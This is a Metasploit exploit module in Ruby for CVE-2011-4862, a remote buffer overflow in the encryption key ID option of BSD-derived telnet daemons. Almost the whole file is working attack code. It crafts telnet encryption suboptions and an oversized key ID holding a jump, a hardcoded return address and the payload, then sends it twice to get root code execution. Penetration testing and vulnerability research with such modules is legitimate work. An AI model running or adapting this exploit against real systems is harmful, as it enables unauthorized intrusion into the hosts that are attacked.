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# -*- coding: binary -*-
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::Telnet
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  include Msf::Exploit::BruteTargets
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Linux BSD-derived Telnet Service Encryption Key ID Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a buffer overflow in the encryption option handler of the
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        Linux BSD-derived telnet service (inetutils or krb5-telnet). Most Linux distributions
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        use NetKit-derived telnet daemons, so this flaw only applies to a small subset of
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        Linux systems running telnetd.
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        },
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      'Author'         => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'Brandon Perry <bperry.volatile[at]gmail.com>', 'Dan Rosenberg', 'hdm' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          ['CVE', '2011-4862'],
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          ['OSVDB', '78020'],
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          ['BID', '51182'],
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          ['EDB', '18280']
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        ],
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      'Privileged'     => true,
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      'Platform'       => 'linux',
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      'Payload'        =>
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        {
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          'Space'       => 200,
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          'BadChars'    => "\x00",
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          'DisableNops' => true,
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        },
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      'Targets'        =>
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        [
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          [ 'Automatic',  { } ],
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          [ 'Red Hat Enterprise Linux 3 (krb5-telnet)', { 'Ret' => 0x0804b43c } ],
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        ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2011-12-23'))
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  end
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  def exploit_target(t)
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    connect
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    banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
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    vprint_status(banner_sanitized)
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    enc_init      = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0"
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    enc_keyid     = "\xff\xfa\x26\x07"
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    end_suboption = "\xff\xf0"
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    penc = payload.encoded.gsub("\xff", "\xff\xff")
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    key_id = Rex::Text.rand_text_alphanumeric(400)
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    key_id[ 0, 2] = "\xeb\x76"
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    key_id[72, 4] = [ t['Ret'] - 20 ].pack("V")
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    key_id[76, 4] = [ t['Ret'] ].pack("V")
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    # Some of these bytes can get mangled, jump over them
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    key_id[80,40]  = "\x41" * 40
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    # Insert the real payload
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    key_id[120, penc.length] = penc
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    # Create the Key ID command
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    sploit = enc_keyid + key_id + end_suboption
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    # Initiate encryption
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    sock.put(enc_init)
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    # Wait for a successful response
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    loop do
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      data = sock.get_once(-1, 5) rescue nil
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      if not data
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        fail_with(Failure::Unknown, "This system does not support encryption")
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      end
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      break if data.index("\xff\xfa\x26\x02\x01")
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    end
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    # The first request smashes the pointer
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    print_status("Sending first payload")
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    sock.put(sploit)
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    # Make sure the server replied to the first request
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    data = sock.get_once(-1, 5)
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    unless data
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      print_status("Server did not respond to first payload")
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      return
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    end
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    # Some delay between each request seems necessary in some cases
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    ::IO.select(nil, nil, nil, 0.5)
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    # The second request results in the pointer being called
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    print_status("Sending second payload...")
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    sock.put(sploit)
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    handler
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    ::IO.select(nil, nil, nil, 0.5)
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    disconnect
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  end
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end
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